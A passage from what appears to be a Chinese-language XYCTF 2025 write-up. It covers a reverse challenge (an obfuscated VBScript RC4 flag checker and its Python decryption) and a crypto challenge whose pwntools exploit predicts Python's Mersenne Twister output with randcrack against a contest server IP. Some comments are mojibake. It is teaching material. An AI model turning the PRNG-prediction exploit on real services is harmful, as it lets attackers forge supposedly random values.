1114112))+chr(int((1485-1445)% 1114112))+chr(int((5893-5859)% 1114112))+chr(int((410832//8559)% 1114112))+chr(int((-4662+4696)% 1114112))+chr(int((44352//1386)% 1114112))+chr(int((-9673+9711)% 1114112))+chr(int((86144//2692)% 1114112))+chr(int((507744//7052)% 1114112))+chr(int((9182-9081)% 1114112))+chr(int((7532-7412)% 1114112))+chr(int((8068-8028)% 1114112))+chr(int((921096//9304)% 1114112))+chr(int((7511-7406)% 1114112))+chr(int((542752//4846)% 1114112))+chr(int((7625-7521)% 1114112))+chr(int((811939//8039)% 1114112))+chr(int((-5529+5643)% 1114112))+chr(int((366498//5553)% 1114112))+chr(int((366993//3033)% 1114112))+chr(int((116//1)% 1114112))+chr(int((-4380+4481)% 1114112))+chr(int((234889//5729)% 1114112))+chr(int((374-330)% 1114112))+chr(int((7121-7089)% 1114112))+chr(int((-964+1014)% 1114112))+chr(int((-9185+9226)% 1114112))+chr(int((53105//4085)% 1114112))+chr(int((1368-1358)% 1114112))+chr(int((3776-3744)% 1114112))+chr(int((81760//2555)% 1114112))+chr(int((2908-2876)% 1114112))+chr(int((672//21)% 1114112))+chr(int((591084//7578)% 1114112))+chr(int((-9777+9878)% 1114112))+chr(int((4310-4190)% 1114112))+chr(int((-329+445)% 1114112))+chr(int((8841-8828)% 1114112))+chr(int((80190//8019)% 1114112))+chr(int((9449-9417)% 1114112))+chr(int((5188-5156)% 1114112))+chr(int((6912//216)% 1114112))+chr(int((46496//1453)% 1114112))+chr(int((8868-8855)% 1114112))+chr(int((-6823+6833)% 1114112))+chr(int((-5834+5866)% 1114112))+chr(int((7348-7316)% 1114112))+chr(int((214720//6710)% 1114112))+chr(int((-3281+3313)% 1114112))+chr(int((-6230+6312)% 1114112))+chr(int((-281+398)% 1114112))+chr(int((-5980+6090)% 1114112))+chr(int((2673-2591)% 1114112))+chr(int((233897//3491)% 1114112))+chr(int((-8111+8143)% 1114112))+chr(int((-3952+4013)% 1114112))+chr(int((7846-7814)% 1114112))+chr(int((5859-5748)% 1114112))+chr(int((661752//5656)% 1114112))+chr(int((742632//6402)% 1114112))+chr(int((2362-2290)% 1114112))+chr(int((286234//2834)% 1114112))+chr(int((814-694)% 1114112))+chr(int((40105//3085)% 1114112))+chr(int((4489-4479)% 1114112))+chr(int((-838+907)% 1114112))+chr(int((-8563+8673)% 1114112))+chr(int((-2698+2798)% 1114112))+chr(int((-2969+3001)% 1114112))+chr(int((7600-7530)% 1114112))+chr(int((896805//7665)% 1114112))+chr(int((-8073+8183)% 1114112))+chr(int((1727-1628)% 1114112))+chr(int((-6557+6673)% 1114112))+chr(int((3501-3396)% 1114112))+chr(int((87357//787)% 1114112))+chr(int((4403-4293)% 1114112))+chr(int((3724-3711)% 1114112))+chr(int((4260-4250)% 1114112))+chr(int((-6051+6064)% 1114112))+chr(int((-71+81)% 1114112))+chr(int((466-427)% 1114112))+chr(int((6300-6268)% 1114112))+chr(int((-15360+8376)% 1114112))+chr(int((-1.435792E+08//8237)% 1114112))+chr(int((-21866-10)% 1114112))+chr(int((-4.86175E+07//8145)% 1114112))+chr(int((-1.932544E+08//5987)% 1114112))+chr(int((3287-3159)% 1114112))+chr(int((-19485+2053)% 1114112))+chr(int((-10516-6235)% 1114112))+chr(int((78936//6072)% 1114112))+chr(int((-9394+9404)% 1114112))+chr(int((551807//7559)% 1114112))+chr(int((973692//9546)% 1114112))+chr(int((310720//9710)% 1114112))+chr(int((507832//6682)% 1114112))+chr(int((4001-3934)% 1114112))+chr(int((-4647+4744)% 1114112))+chr(int((-6770+6885)% 1114112))+chr(int((491163//4863)% 1114112))+chr(int((10032-9992)% 1114112))+chr(int((-1066+1148)% 1114112))+chr(int((174330//1490)% 1114112))+chr(int((986700//8970)% 1114112))+chr(int((78064//952)% 1114112))+chr(int((-5671+5738)% 1114112))+chr(int((-6282+6322)% 1114112))+chr(int((4287-4185)% 1114112))+chr(int((3549-3441)% 1114112))+chr(int((790162//8146)% 1114112))+chr(int((8188-8085)% 1114112))+chr(int((-800+844)% 1114112))+chr(int((522-490)% 1114112))+chr(int((-5550+5663)% 1114112))+chr(int((284291//2389)% 1114112))+chr(int((-9338+9440)% 1114112))+chr(int((-6438+6539)% 1114112))+chr(int((8277-8236)% 1114112))+chr(int((-8711+8752)% 1114112))+chr(int((-5591+5623)% 1114112))+chr(int((148291//2431)% 1114112))+chr(int((-3434+3466)% 1114112))+chr(int((425372//5597)% 1114112))+chr(int((-5132+5199)% 1114112))+chr(int((-322+419)% 1114112))+chr(int((185380//1612)% 1114112))+chr(int((5352-5251)% 1114112))+chr(int((365160//9129)% 1114112))+chr(int((9277-9158)% 1114112))+chr(int((-489+590)% 1114112))+chr(int((913002//8951)% 1114112))+chr(int((-8433+8531)% 1114112))+chr(int((8830-8713)% 1114112))+chr(int((1089-970)% 1114112))+chr(int((192990//1838)% 1114112))+chr(int((-9564+9681)% 1114112))+chr(int((-5453+5554)% 1114112))+chr(int((40221//981)% 1114112))+chr(int((-7928+7960)% 1114112))+chr(int((756672//9008)% 1114112))+chr(int((785824//7556)% 1114112))+chr(int((1607-1506)% 1114112))+chr(int((-5161+5271)% 1114112))+chr(int((-8087+8100)% 1114112))+chr(int((90010//9001)% 1114112))+chr(int((34688//1084)% 1114112))+chr(int((20224//632)% 1114112))+chr(int((8731-8699)% 1114112))+chr(int((178496//5578)% 1114112))+chr(int((-837+914)% 1114112))+chr(int((-4694+4809)% 1114112))+chr(int((-7603+7706)% 1114112))+chr(int((619212//9382)% 1114112))+chr(int((1092906//9846)% 1114112))+chr(int((7594-7474)% 1114112))+chr(int((69632//2176)% 1114112))+chr(int((133042//3913)% 1114112))+chr(int((9457-9390)% 1114112))+chr(int((2319-2208)% 1114112))+chr(int((475200//4320)% 1114112))+chr(int((-8977+9080)% 1114112))+chr(int((-8597+8711)% 1114112))+chr(int((1592-1495)% 1114112))+chr(int((754812//6507)% 1114112))+chr(int((-6078+6195)% 1114112))+chr(int((-9522+9630)% 1114112))+chr(int((1824-1727)% 1114112))+chr(int((-6145+6261)% 1114112))+chr(int((312690//2978)% 1114112))+chr(int((-1513+1624)% 1114112))+chr(int((902220//8202)% 1114112))+chr(int((1378-1263)% 1114112))+chr(int((-8522+8555)% 1114112))+chr(int((-6796+6828)% 1114112))+chr(int((-57+124)% 1114112))+chr(int((-4239+4350)% 1114112))+chr(int((964212//8458)% 1114112))+chr(int((573534//5031)% 1114112))+chr(int((565903//5603)% 1114112))+chr(int((-8417+8516)% 1114112))+chr(int((1116732//9627)% 1114112))+chr(int((-8648+8680)% 1114112))+chr(int((-6586+6656)% 1114112))+chr(int((-1832+1908)% 1114112))+chr(int((-5339+5404)% 1114112))+chr(int((559267//7877)% 1114112))+chr(int((138765//4205)% 1114112))+chr(int((2868-2834)% 1114112))+chr(int((556-543)% 1114112))+chr(int((53810//5381)% 1114112))+chr(int((212589//3081)% 1114112))+chr(int((-4647+4755)% 1114112))+chr(int((712885//6199)% 1114112))+chr(int((-1506+1607)% 1114112))+chr(int((91234//7018)% 1114112))+chr(int((1299-1289)% 1114112))+chr(int((-4904+4936)% 1114112))+chr(int((9659-9627)% 1114112))+chr(int((117024//3657)% 1114112))+chr(int((38720//1210)% 1114112))+chr(int((440748//5724)% 1114112))+chr(int((19320//168)% 1114112))+chr(int((-9444+9547)% 1114112))+chr(int((-3384+3450)% 1114112))+chr(int((9050-8939)% 1114112))+chr(int((-6493+6613)% 1114112))+chr(int((-5110+5142)% 1114112))+chr(int((-2061+2095)% 1114112))+chr(int((1450-1363)% 1114112))+chr(int((111+3)% 1114112))+chr(int((9913-9802)% 1114112))+chr(int((152680//1388)% 1114112))+chr(int((-1082+1185)% 1114112))+chr(int((4066-4034)% 1114112))+chr(int((6896-6794)% 1114112))+chr(int((838-730)% 1114112))+chr(int((-2902+2999)% 1114112))+chr(int((5974//58)% 1114112))+chr(int((-8244+8290)% 1114112))+chr(int((-9640+9674)% 1114112))+chr(int((36491//2807)% 1114112))+chr(int((-2075+2085)% 1114112))+chr(int((-301+370)% 1114112))+chr(int((-2824+2934)% 1114112))+chr(int((-2915+3015)% 1114112))+chr(int((1811-1779)% 1114112))+chr(int((-7946+8019)% 1114112))+chr(int((-5275+5377)% 1114112))+chr(int((-7424+7437)% 1114112))+chr(int((34620//3462)% 1114112))  
print(enc1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
MsgBox "Dear CTFER. Have fun in XYCTF 2025!"
flag = InputBox("Enter the FLAG:", "XYCTF")
wefbuwiue = "90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df622a55c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4" ' 􎦢􈓨􊺾􎞚􈑒C     4􎖊􊃥􊾆􎞺􉏦􉺜􎾼􈣥�        
􎖅􊷧􋾚􎖈􋛦􊂼􎖼􈿮􋲉�
qwfe = "rc4key"

' 􎒿􊻤􊒍􎖐􈻧􉪄RC4􎖊􊃥􊾆􎖇􋷦􉖰
Function RunRC(sMessage, strKey)
    Dim kLen, i, j, temp, pos, outHex
    Dim s(255), k(255)

    ' 􎖈􉷥􊞋􎖌􉛤􊾆􎦒?
    kLen = Len(strKey)
    For i = 0 To 255
        s(i) = i
        k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1)) ' 􎖯􈛨􉊥􎒽􋿧􉒨ASCII􎞻􉛧􊂁
    Next

    ' KSA􎖯􈛩􉊥􎢰􈏥􋪦
    j = 0
    For i = 0 To 255
        j = (j + s(i) + k(i)) Mod 256
        temp = s(i)
        s(i) = s(j)
        s(j) = temp
    Next

    ' PRGA􎖊􊃥􊾆􎚵􈇧􊢋
    i = 0 : j = 0 : outHex = ""
    For pos = 1 To Len(sMessage)
        i = (i + 1) Mod 256
        j = (j + s(i)) Mod 256
        temp = s(i)
        s(i) = s(j)
        s(j) = temp

        ' 􎖊􊃥􊾆􎖹􋛨􋶬􎒸􋫥􈶁􎖅􊷨􋾛􎖈?
        Dim plainChar, cipherByte
        plainChar = Asc(Mid(sMessage, pos, 1)) ' 􎚘􈻦􉚇􎚌􈥁SCII􎖤􈓦􉂆
        cipherByte = s((s(i) + s(j)) Mod 256) Xor plainChar
        outHex = outHex & Right("0" & Hex(cipherByte), 2)
    Next

    RunRC = outHex
End Function

' 􎒸􋯨􊪌􎢯􈇨􋯨􋺑
If LCase(RunRC(flag, qwfe)) = LCase(wefbuwiue) Then
    MsgBox "Congratulations! Correct FLAG!"
Else
    MsgBox "Wrong flag."
End If

这是明显的RC4加密过程，脚本解密：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def rc4_decrypt(key, cipher_bytes):
    # 初始化S盒
    S = list(range(256))
    j = 0
    key_len = len(key)
    # KSA阶段
    for i in range(256):
        j = (j + S[i] + key[i % key_len]) % 256
        S[i], S[j] = S[j], S[i]
    # PRGA阶段生成密钥流
    i = j = 0
    keystream = []
    for _ in range(len(cipher_bytes)):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        keystream.append(k)
    # 异或解密
    plain = bytes([c ^ k for c, k in zip(cipher_bytes, keystream)])
    return plain

# 密文和密钥
hex_str = "90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df622a55c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4"
cipher_bytes = bytes.fromhex(hex_str)
key = b'rc4key'

# 解密
plaintext = rc4_decrypt(key, cipher_bytes)
print(plaintext.decode())

flag{We1c0met0_XYCTF_2025_reverse_ch@lleng3_by_th3_w@y_p3cd0wn’s_chall_is_r3@lly_gr3@t&_fuN!}

将flag{}里面的进行md5加密，并用XYCTF{}包含

image-20250406194815955

XYCTF{5f9f46c147645dd1e2c8044325d4f93c}

crypto

Division

源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- encoding: utf-8 -*-
'''
@File    :   server.py
@Time    :   2025/03/20 12:25:03
@Author  :   LamentXU 
'''
import random 
print('----Welcome to my division calc----')
print('''
menu:
      [1]  Division calc
      [2]  Get flag
''')
while True:
    choose = input(': >>> ')
    if choose == '1':
        try:
            denominator = int(input('input the denominator: >>> '))
        except:
            print('INPUT NUMBERS')
            continue
        nominator = random.getrandbits(32)
        if denominator == '0':
            print('NO YOU DONT')
            continue
        else:
            print(f'{nominator}//{denominator} = {nominator//denominator}')
    elif choose == '2':
        try:
            ans = input('input the answer: >>> ')
            rand1 = random.getrandbits(11000)
            rand2 = random.getrandbits(10000)
            correct_ans = rand1 // rand2
            if correct_ans == int(ans):
                print('WOW')
                with open('flag', 'r') as f:
                    print(f'Here is your flag: {f.read()}')
            else:
                print(f'NOPE, the correct answer is {correct_ans}')
        except:
            print('INPUT NUMBERS')
    else:
        print('Invalid choice')

EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from randcrack import RandCrack
from tqdm import tqdm

context.log_level = 'debug'
sh=remote("47.94.217.82",28739 )
data=[]
for i in range(624):
    sh.recvuntil(b'>>> ')
    sh.sendline(b'1')
    sh.recvuntil(b'tor: >>> ')
    sh.sendline(b'1')
    line=int(sh.recvline().decode().split('=')[1].replace('\n', '').replace(' ', ''))
    data.append(line)

print(data)


RC = RandCrack()
for i in data:
    RC.submit(i)

sh.sendline(b'2')
sh.recvuntil(b'er: >>>')
rand1 = RC.predict_getrandbits(11000)
rand2 = RC.predict_getrandbits(10000)
correct_ans = rand1 // rand2

sh.sendline(str(correct_ans).encode())
sh.recvlines()